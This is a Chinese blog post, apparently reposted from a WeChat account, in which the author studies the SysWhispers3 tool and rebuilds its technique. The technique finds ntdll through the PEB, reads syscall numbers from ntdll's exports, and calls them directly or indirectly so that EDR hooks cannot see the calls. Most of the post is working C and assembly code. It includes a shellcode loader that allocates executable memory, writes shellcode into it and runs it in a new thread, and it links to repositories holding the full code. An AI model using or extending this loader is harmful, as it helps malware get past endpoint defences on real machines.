学习目的:
为啥Syscall在对抗edr时非常好用,因为微软给各地杀软厂商注册了回调机制,而大部分厂商都是通过回调去Hook了R3到R0转化的nt函数,而R3api要走入R0需要ntdll的辅助,如图
所以直接syscall可以直接避免掉Hook时被检测出恶意代码。
按网上文章的分析,syswhispers3是通过PEB获取NTDLL.dll的基地址,在找到NtCreateFile或ZwCreateFIle等函数的调用号。
前置知识:
我爱用的payload:
.codeGetNtdll_64 proc mov rax, gs:[60h] ; 获取 PEB(Process Environment Block) mov rax, [rax+18h] ; PEB -> Ldr(PEB_LDR_DATA 结构) mov rax, [rax+30h] ; Ldr->InMemoryOrderModuleList(LIST_ENTRY) mov rax, [rax+10h] ; 取 DllBase(在 LDR_DATA_TABLE_ENTRY 的偏移 +0x10) retGetNtdll_64 endpend
通过https://www.vergiliusproject.com/去分析windows内核的结构:
首先是入口PEB为啥要+0x60这个问题,当前线程的 TEB(Thread Environment Block) 指针,通过观察TEB的结构
可以发现指针+0x60就是ProcessEnvironmentBlock PEB结构。然后在去分析PEB结构的内容,如图
我们的目标是指向PEB -> Ldr(PEB_LDR_DATA 结构) 所以如图:
拿到Ldr之后就去观察Ldr下的结构体形式,如图:
而这个结构体非常有意思,他是一个双链表结构,是三张结构表的连接说明:
struct _LIST_ENTRY InLoadOrderModuleList; //0x10struct _LIST_ENTRY InMemoryOrderModuleList; //0x20struct _LIST_ENTRY InInitializationOrderModuleList; //0x30
且三个字段的类型都是一致
第一个成员 Flink 指向下一个节点,Blink 指向上一个节点,所以这是一个双向链表,当我们从_PEB_LDR_DATA 结构中取到 InInitializationOrderModuleList 结构时,这个结构中的 Flink 指向真正的模块链表,这个真正的链表的每个成员都是一个 LDR_DATA_TABLE_ENTRY 结构。之前的 _PEB_LDR_DATA 只是一个入口,这个结构只有一个,它不是链表节点,真正的链表节点结构如下图:
他们之间的对应关系可以由下图来表示,如果学习过链表的概念还是挺好理解的(图片来自https://bbs.kanxue.com/thread-266678.htm)
聪明的你已经发现了
VOID* DllBase; //0x30VOID* EntryPoint; //0x38
最后的话给出总结:
下面是三个双向链表加载 dll 的顺序:
InLoadOrderModuleList 模块加载顺序notepad.exe ntdll.dll kernel32.dll kernelbase.dllInMemoryOrderModuleList 模块在内存加载顺序notepad.exe ntdll.dll kernel32.dll kernelbase.dllInInitializationOrderLinks 模块初始化装载顺序ntdll.dll kernelbase.dll kernel32.dll
从Ntdll中获取调用号
示例代码(如图):
h:
#pragma once#include <Windows.h>#include <stdio.h>extern "C" PVOID64 GetNtdll_64();
asm:
.codeGetNtdll_64 proc mov rax, gs:[60h] ; 获取 PEB(Process Environment Block) mov rax, [rax+18h] ; PEB -> Ldr(PEB_LDR_DATA 结构) mov rax, [rax+30h] ; Ldr->InMemoryOrderModuleList(LIST_ENTRY) mov rax, [rax+10h] ; 取 DllBase(在 LDR_DATA_TABLE_ENTRY 的偏移 +0x10) retGetNtdll_64 endpend
C:
#include "header.h"// 读取 syscall ID(从函数中 mov eax, syscall_number)DWORD GetSyscallIdFromNtdll(HMODULE ntdllBase, const char* funcName) { BYTE* base = (BYTE*)ntdllBase; IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base; IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew); IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*) (base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* nameRvas = (DWORD*)(base + exportDir->AddressOfNames); WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals); DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions); for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { const char* name = (const char*)(base + nameRvas[i]); if (_stricmp(name, funcName) == 0) { DWORD funcRva = functions[ordinals[i]]; BYTE* funcAddr = base + funcRva; // 搜索 mov eax, xx 指令(B8 xx xx xx xx) for (int j = 0; j < 20; j++) { if (funcAddr[j] == 0xB8) { DWORD syscallId = *(DWORD*)&funcAddr[j + 1]; return syscallId; } } } } return -1;}int main() { HMODULE ntdll = (HMODULE)GetNtdll_64(); HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (!ntdll) { printf("[-] Failed to locate ntdll.dlln"); return 1; } if (hNtdll == NULL) { printf("获取 ntdll.dll 失败,错误码:%lun", GetLastError()); return 1; } DWORD syscallId = GetSyscallIdFromNtdll(ntdll, "NtReadVirtualMemory"); if (syscallId != -1) { printf("[+] Syscall ID for NtReadVirtualMemory: 0x%Xn", syscallId); } else { printf("[-] Failed to extract syscall IDn"); } return 0;}
syswhispers3小还原:
特性 | SysWhispers2 | SysWhispers3 |
是否硬编码 syscall | 是 | 否(运行时提取) |
是否需要导入表 | 是 | 否 |
调用方式 | 伪装导入 + 调用 | 纯动态解析 + 汇编直接调用 |
免杀能力 | 中等 | 强(绕过签名、行为分析更难) |
1.
运行时动态去获取服务号(通过匹配mov eax, xx 拿)
2.
无导入表(PEB模块直接获取Baseaddress)
剩下就是Syscall+Ntdll无导入表的结合:
Syscall项目可以看我的Github:https://github.com/trymonoly/syscall_lab,简单的合并一下
核心代码:
int main() { PVOID allocBuffer = NULL; SIZE_T buffSize = 0x1000; HMODULE ntdll = (HMODULE)GetNtdll_64(); if (!ntdll) { printf("[-] Failed to locate ntdll.dlln"); return 1; } DWORD syscallId = GetSyscallIdFromNtdll(ntdll, "NtReadVirtualMemory"); if (syscallId != -1) { printf("[+] Syscall ID for NtReadVirtualMemory: 0x%Xn", syscallId); } else { printf("[-] Failed to extract syscall IDn"); } // 初始化 NtAllocateVirtualMemory direct_syscall.NtAllocateVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtAllocateVirtualMemory"); direct_syscall.NtAllocateVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtAllocateVirtualMemory"); // 初始化 NtWriteVirtualMemory direct_syscall.NtWriteVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWriteVirtualMemory"); direct_syscall.NtWriteVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWriteVirtualMemory"); // 初始化 NtCreateThreadEx direct_syscall.NtCreateThreadEx.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtCreateThreadEx"); direct_syscall.NtCreateThreadEx.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtCreateThreadEx"); // 初始化 NtWaitForSingleObject direct_syscall.NtWaitForSingleObject.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWaitForSingleObject"); direct_syscall.NtWaitForSingleObject.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWaitForSingleObject"); NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); unsigned char shellcode[] = "xfcx48x83xe4"; ULONG bytesWritten; NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten); HANDLE hThread; NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL); NtWaitForSingleObject(hThread, FALSE, NULL); return 0;}
看一下生成的exe的效果:
导入表中是没有Ntdll的导入。
但是syswhispers3比较强势的点是他对汇编的混淆:
正常的syscall:
mov r10, rcx mov eax, DWORD PTR direct_syscall+0jmp QWORD PTR [direct_syscall+8]
而syswhispers3对syscall的混淆:
Sw3NtWriteVirtualMemory PROCmov [rsp +8], rcx ; Save registers.mov [rsp+16], rdxmov [rsp+24], r8mov [rsp+32], r9sub rsp, 28hmov ecx, 01796131Bh ; Load function hash into ECX.call SW3_GetSyscallNumber ; Resolve function hash into syscall number.add rsp, 28hmov rcx, [rsp+8] ; Restore registers.mov rdx, [rsp+16]mov r8, [rsp+24]mov r9, [rsp+32]mov r10, rcxsyscall ; Invoke system call.retSw3NtWriteVirtualMemory ENDP
动态计算了SSN的值。
我们需要去复现这个功能在汇编中:
然而syswhispers3是通过在Syscall的时候提前去调用了SW3_GetSyscallNumber 去解码hash
call SW3_GetSyscallNumber
我只需要将原本的SSN改为Hash在传递给Syscall时提前去Hash解码就可以完成动态SSN的加载。
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash){ // Ensure SW3_SyscallList is populated. if (!SW3_PopulateSyscallList()) return -1; for (DWORD i = 0; i < SW3_SyscallList.Count; i++) { if (FunctionHash == SW3_SyscallList.Entries[i].Hash) { return i; } } return -1;}
而关键点就是初始化时SW3_PopulateSyscallList()会去创建一个序列去存储Hash对应的SSN。
核心代码:
#include "header.h"/**/// 全局变量,供汇编和其他文件访问__declspec(dllexport) FuncationName direct_syscall = { 0 };// 读取 syscall ID(从函数中 mov eax, syscall_number)DWORD GetSyscallIdFromNtdll(HMODULE ntdllBase, const char* funcName) { BYTE* base = (BYTE*)ntdllBase; IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base; IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew); IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*) (base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* nameRvas = (DWORD*)(base + exportDir->AddressOfNames); WORD* ordinals = (WORD*)(base + exportDir->AddressOfNameOrdinals); DWORD* functions = (DWORD*)(base + exportDir->AddressOfFunctions); for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { const char* name = (const char*)(base + nameRvas[i]); if (_stricmp(name, funcName) == 0) { DWORD funcRva = functions[ordinals[i]]; BYTE* funcAddr = base + funcRva; // 搜索 mov eax, xx 指令(B8 xx xx xx xx) for (int j = 0; j < 20; j++) { if (funcAddr[j] == 0xB8) { DWORD syscallId = *(DWORD*)&funcAddr[j + 1]; return syscallId; } } } } return -1;}FuncationSSNList funcationSSNList = { 0 };// 初始化SSN表void PopulateSyscallList() { HMODULE ntdll = (HMODULE)GetNtdll_64(); funcationSSNList.NtAllocateVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtAllocateVirtualMemory"); funcationSSNList.NtWriteVirtualMemory.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWriteVirtualMemory"); funcationSSNList.NtCreateThreadEx.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtCreateThreadEx"); funcationSSNList.NtWaitForSingleObject.wNtFunctionSSN = GetSyscallIdFromNtdll(ntdll, "NtWaitForSingleObject");}// 定义列表去匹配SSNEXTERN_C DWORD GetSyscallNumber(DWORD FunctionHash){ if (FunctionHash == 11111) return funcationSSNList.NtAllocateVirtualMemory.wNtFunctionSSN; if (FunctionHash == 22222) return funcationSSNList.NtWriteVirtualMemory.wNtFunctionSSN; if (FunctionHash == 33333) return funcationSSNList.NtCreateThreadEx.wNtFunctionSSN; if (FunctionHash == 44444) return funcationSSNList.NtWaitForSingleObject.wNtFunctionSSN; return -1;}int main() { PVOID allocBuffer = NULL; SIZE_T buffSize = 0x1000; HMODULE ntdll = (HMODULE)GetNtdll_64(); PopulateSyscallList(); if (!ntdll) { printf("[-] Failed to locate ntdll.dlln"); return 1; } // 初始化 NtAllocateVirtualMemory direct_syscall.NtAllocateVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtAllocateVirtualMemory"); // 初始化 NtWriteVirtualMemory direct_syscall.NtWriteVirtualMemory.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWriteVirtualMemory"); // 初始化 NtCreateThreadEx direct_syscall.NtCreateThreadEx.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtCreateThreadEx"); // 初始化 NtWaitForSingleObject direct_syscall.NtWaitForSingleObject.sysAddress = (UINT_PTR)GetProcAddress(ntdll, "NtWaitForSingleObject"); NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); unsigned char shellcode[] = "xfcx48x8xe"; ULONG bytesWritten; NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten); HANDLE hThread; NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL); NtWaitForSingleObject(hThread, FALSE, NULL); return 0;}
syswhispers3使用的是直接syscall,在执行sub区看很容易发现问题,我将直接syscall改为了间接syscall代码。
完整代码放在在github:
https://github.com/trymonoly/syswhispers3_Indirect
总结:
syswhispers3通过在运行动态去替换SSN达到静态绕过效果,在通过PEB去抹除导入表的一些细节让静态效果更加完美。且对Syscall固定的格式进行打破,不再是默认的三行代码。
对于我写的代码,我自己评判很一般,执行的方式也非常朴实,没有隐藏掉Kerner32的导入,也没有隐藏字符串,也没加入一些混淆和反沙箱和虚拟机。(师傅骂轻点)
个人的学习过程,有理解错误的地方,望各位师傅理解。
原文始发于微信公众号(T3Ysec):syswhispers3学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论